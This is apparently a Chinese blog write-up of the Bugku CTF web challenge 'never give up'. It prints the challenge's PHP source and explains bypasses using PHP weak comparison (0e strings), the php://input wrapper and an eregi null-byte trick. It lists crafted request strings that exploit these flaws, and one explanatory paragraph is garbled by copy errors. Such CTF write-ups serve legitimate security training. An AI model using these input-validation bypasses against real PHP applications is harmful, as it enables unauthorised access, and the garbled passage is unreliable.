Bugku WEB never give up

1.打开环境,neer never never give up 审计源码,发现1p.html
2.尝试访问1p.html,跳转到bugku首页,抓包分析,发现js代码

3.利用burpsuite解码模块得到源码,应该是PHP代码
————————————————————————————

<script>window.location.href='http://www.bugku.com';</script> 
<!--";if(!$_GET['id']) //id0或空,进入该循环,由于是弱类型比较 字符串即可绕过,同样的,浮点数0e123啥的也能绕过
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))//a中不能出现.
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');//读取文件内容
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	$flag = "flag{***********}"
}
else
{
	print "never never never give up !!!";
}


?>-->

————————————————————
分析源码可知,需要绕过的主要有三个地方:
1.!$_GET[‘id’]要为假 i d = = 0 要 为 真 , 两 个 绕 过 方 式 : 1. 字 符 串 2. 浮 点 数 0 e 1232. id==0要为真,两个绕过方式:1.字符串 2.浮点数 0e123 2. id==01.2.0e1232.data==“bugku is a nice plateform!” PHP伪协议绕过 php://input 是个可以访问请求的原始数据的只读流,只需在数据流中写入要读取的内容即可
3.b长度要大于5 eregi(“111”.substr( b , 0 , 1 ) , " 1114 " ) 要 为 真 s u b s t r ( b,0,1),"1114")要为真 substr( b,0,1),"1114")substr(b,0,1)!=4
eregi是正则匹配函数,第一个参数是pattern,第二个参数是要匹配的内容
两种绕过方式:1.利用该函数的空截断漏洞,开头就是\x00,后面不管是什么都会匹配成功
2.活用正则,用形如? +啥的进行绕过,只要正则匹配为真就行
构造请求:?id=0e123456&a=php://input&b=*123456
?id=0e123456&a=php://input&b=+123456
?id=0e123456&a=php://input&b=?123456
?id=“aaa”&a=php://input&b=*123456
当构造空截断时,要注意是后端得到的是\x00,这中间还有个解码过程,因此要对\x00进行url编码,%00
?id=“aaa”&a=php://input&b=%0012345
参考视频链接:https://www.bilibili.com/video/BV1Nw411Z7xB/

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值